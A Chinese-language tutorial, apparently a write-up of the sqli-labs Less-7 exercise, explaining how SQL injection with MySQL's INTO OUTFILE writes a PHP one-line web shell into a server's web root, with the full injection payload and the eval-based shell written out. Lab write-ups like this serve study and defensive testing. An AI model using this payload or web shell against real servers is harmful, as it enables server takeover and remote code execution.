除了在页面查询数据库内容外,SQL注入还有另外一种利用方式:利用MySQL在服务器的写权限,上传我们的文件,以达到拿到Web Shell的目的。

要点

  • show variables like '%secure%';:用于查看MySQl是否具有读写文件的权限

    查询返回的secure_file_priv有三种状态:

    • 空 ——对于整个硬盘数据都可以读写
    • 特定路径——只能在指定路径下面读写
    • NULL ——不能在服务器上进行任何读写
  • into outfile:写入服务器文件;例如into outfile "D:\\phpstudy_pro\\WWW\\test.php"D:\\phpstudy_pro\\WWW\\为文件写入的目录,test.php为新写入的文件名。

  • 一句话木马:

    1
    <?php @eval($_POST['password'])?>

    password为预留的密码。

Less-7

直接进行实际例子展示。首先是判断字符型还是数字型注入

image-20230413232824463

简单判断得出为字符型。接下来判断闭合方式,具体判断过程可以参考上一篇文章

image-20230413235038982

测试列数,测试得出group by 3,即三列。

结合上面要点提到的文件上传和一句话木马构建拿取Web Shell命令

1
?id=-1')) union select 1,"<?php @eval($_POST['password'])?>",3 into outfile "D:\\phpstudy_pro\\WWW\\test.php" --+

这样我们就可以把一句话木马注入到服务器中。

image-20230414010837114

然后使用一句话木马利用工具(蚁剑等)就可以成功拿取服务器权限了。

image-20230414012546998